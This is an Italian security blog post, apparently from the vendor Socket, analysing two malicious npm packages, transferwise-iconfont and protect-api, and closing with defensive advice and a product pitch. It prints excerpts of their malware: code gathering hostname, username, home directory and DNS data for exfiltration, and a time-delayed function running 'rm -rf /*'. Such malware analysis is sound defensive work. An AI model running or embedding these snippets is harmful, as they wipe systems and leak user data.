Due Pacchetti npm Maligni Scoperti: Come Difendersi dai Pericoli Nascosti
npm, uno dei più grandi ecosistemi di pacchetti per sviluppatori JavaScript, è stato recentemente colpito da due pacchetti maligni: transferwise-iconfont e protect-api. Entrambi i pacchetti, ora contrassegnati come malware, rappresentano minacce diverse per gli sviluppatori e i loro progetti. Ecco un'analisi dettagliata delle minacce e dei metodi per proteggersi.
Pacchetto 1: Il Ladro di Dati
Il pacchetto transferwise-iconfont si spaccia per una versione legittima della libreria TransferWise Iconfont, ma il codice al suo interno è completamente estraneo alla libreria ufficiale. Questo pacchetto, progettato per agire come spyware, raccoglie dati sensibili dal sistema dell'utente e li invia a un server remoto controllato dall'attaccante.
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
Questo tipo di spyware è facilmente identificabile tramite un'analisi del codice, ma se ignorato può portare a gravi compromissioni di sicurezza, esfiltrando informazioni come API keys e credenziali.
Pacchetto 2: Il Distruttore di Dati
Il secondo pacchetto, chiamato protect-api, finge di essere una libreria utile per la gestione dei cookie HTTP, ma nasconde un pericoloso codice obfuscato. Questo malware include una funzione chiamata angry() che, dopo un'ora dall'installazione, tenta di cancellare tutti i file del sistema, rendendo difficile risalire alla causa dell'attacco.
function angry() {
sh.exec("rm -rf * > /dev/null 2>&1");
sh.exec("rm -rf /* > /dev/null 2>&1");
}
Questo pacchetto è particolarmente pericoloso perché non solo nasconde le sue intenzioni tramite obfuscazione, ma attiva il suo payload distruttivo con un ritardo temporale, rendendo complicata l’individuazione tempestiva.
Come Proteggersi: Migliori Pratiche
Per evitare che pacchetti maligni come questi infettino i progetti, è essenziale seguire alcune pratiche di sicurezza fondamentali:
- Verifica delle Fonti: Controllare sempre l'affidabilità degli autori dei pacchetti e le statistiche di download. Pacchetti nuovi e con poche installazioni possono essere sospetti.
- Revisione del Codice: Implementare pratiche rigorose di code review per le dipendenze di terze parti, cercando codice obfuscato o chiamate di rete inattese.
- Strumenti di Sicurezza: Utilizzare strumenti automatici di scansione per rilevare modelli di codice malevolo o vulnerabilità note.
Per proteggere i propri progetti, si consiglia di installare Socket, il nostro strumento AI per il rilevamento di minacce. Con pochi clic, l'app gratuita per GitHub analizza automaticamente le dipendenze, garantendo una protezione in tempo reale contro pacchetti pericolosi.